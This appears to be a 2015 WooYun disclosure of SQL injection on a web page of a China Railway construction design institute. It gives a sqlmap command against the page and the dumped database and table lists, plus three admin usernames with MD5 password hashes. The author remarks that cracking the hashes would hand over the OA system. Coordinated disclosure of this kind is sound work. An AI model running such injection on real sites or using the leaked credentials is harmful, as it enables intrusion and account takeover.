当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138159

漏洞标题： 中国铁建分站SQL注入/OA系统相关信息爆出

相关厂商：cncert国家互联网应急中心

漏洞作者： 冷白开。

提交时间：2015-09-03 22:26

修复时间：2015-10-21 13:40

公开时间：2015-10-21 13:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-03： 细节已通知厂商并且等待厂商处理中
2015-09-06： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-16： 细节向核心白帽子及相关领域专家公开
2015-09-26： 细节向普通白帽子公开
2015-10-06： 细节向实习白帽子公开
2015-10-21： 细节向公众公开

简要描述：

中铁上海设计院集团有限公司SQL注射问题/OA系统相关信息爆出

详细说明：

射点命令：sqlmap.py -u "http://**.**.**.**/web/gszz.asp?id=327&menuid=328&menu=%EF%BF%BD%EF%BF%BD%CB%BE%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD" --dbs

以下可以很明显的看到OA的库和WEB的库

1.png

随便脱点信息，我也没脱完整，网速太渣了，审核大大见谅见谅

available databases [14]:
[*] JEADYCHAN
[*] JSZX
[*] master
[*] model
[*] msdb
[*] NDYXSJ
[*] NJSYSTEM
[*] OLDOADB
[*] QSC_WEB_DB
[*] SmsCenter
[*] STYOA_DB
[*] STYWEB
[*] tempdb
[*] XMHT
Database: STYOA_DB
[92 tables]
+----------------+
| 000100FL       |
| 000100FW       |
| 000100SW       |
| BACK_SWK       |
| BHLXK          |
| BMTZ           |
| BZGF           |
| CCK            |
| CCK_BACKUP     |
| CSDWK          |
| CURRENTVERSION |
| DWB            |
| DZWJK          |
| EZS            |
| FLMX           |
| FWK            |
| FWQCS          |
| GRQSQZK        |
| GRTXL          |
| GWBHK          |
| GWFL           |
| GWGLK          |
| GWJH           |
| GWPZK          |
| GWQSK          |
| GWQXK          |
| GWRZK          |
| GZRZK          |
| HY             |
| HY_XMLIST      |
| JSK            |
| JSQXK          |
| KQ             |
| LCMBK          |
| LCMBK_SAVE     |
| LSH            |
| LWJGK          |
| MOBILEISP      |
| QXK            |
| QZJSK          |
| QZMSK          |
| RYB            |
| RYJSK          |
| RYQZK          |
| RYRCB          |
| RYYGXX         |
| RZWJK          |
| SCK            |
| SMSGW          |
| SMSLIST        |
| SMSQXTLIST     |
| SMSQZ          |
| SMSRECEIVE     |
| SMSRPT         |
| SMSRY          |
| SQK            |
| SWK            |
| TESTGWQSK      |
| TESTSWK        |
| VIDEOPLAY      |
| ViewRyxx       |
| View_QZ_IDtoMC |
| View_RYIDtoXM  |
| View_SmsQXT    |
| WJYYTZ         |
| WZK            |
| XJYGDJB        |
| XWGGK          |
| YJDZBK         |
| YJFJK          |
| YJFSK          |
| YJGRPZK        |
| YJJSK          |
| YNJB           |
| ZSDWK          |
| ZTCK           |
| ZYGXB          |
| ZYWJB          |
| --HongTouClass |
| --HongTouMS    |
| --RYCFDD       |
| --RYDL         |
| --RYLBDJ       |
| --RYLBDMB      |
| --RYWLCF       |
| --RYWLDD       |
| --RYWLZB       |
| --RYWL         |
| RYB--原STYOA表备份     |
| RYYGXX--原STYOA表备份  |
| dtproperties   |
| sysdiagrams    |
+----------------+
Database: STYWEB
[16 tables]
+--------------------------------+
| KJCX                           |
| KJCX_20130729                  |
| KJCX_20130729_DELETE_BH_BACKUP |
| KJCX_BackUp                    |
| KJCX__ERROR                    |
| Ok3w_AdSense                   |
| Ok3w_Adlog                     |
| Ok3w_Admin                     |
| Ok3w_Article                   |
| Ok3w_Channel                   |
| Ok3w_Class                     |
| Ok3w_Guest                     |
| Ok3w_Link                      |
| Ok3w_SiteConfig                |
| Video                          |
| <%=NoDown%>                    |
+--------------------------------+
Database: STYWEB
Table: Ok3w_Admin
[5 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| AdminId   | int      |
| AdminLock | bit      |
| AdminName | nvarchar |
| AdminPwd  | nvarchar |
| GroupId   | nvarchar |
+-----------+----------+
Database: STYWEB
Table: Ok3w_Admin
[3 entries]
+-----------+
| AdminName |
+-----------+
| admin     |
| linyl     |
| zwj       |
+-----------+
Database: STYWEB
Table: Ok3w_Admin
[3 entries]
+----------------------------------+
| AdminPwd                         |
+----------------------------------+
| 600d746ccd36521982a19093d7511ffb |
| 606975dc2e2f0f3dd893c4fa7375b3c4 |
| 842359bfa1dfd84ec71f9919fbdf8dce |
+----------------------------------+

oa系统登录链接就不找了，因为狗日的MD5居然没解出来，但是如果大牛解出来，拿下核心OA系统分分钟啊，危害蛮大的。。。。到此为止，审核过目~~~

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2015-09-06 13:39

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给上海分中心，由其后续协调网站管理单位处置。

最新状态：

暂无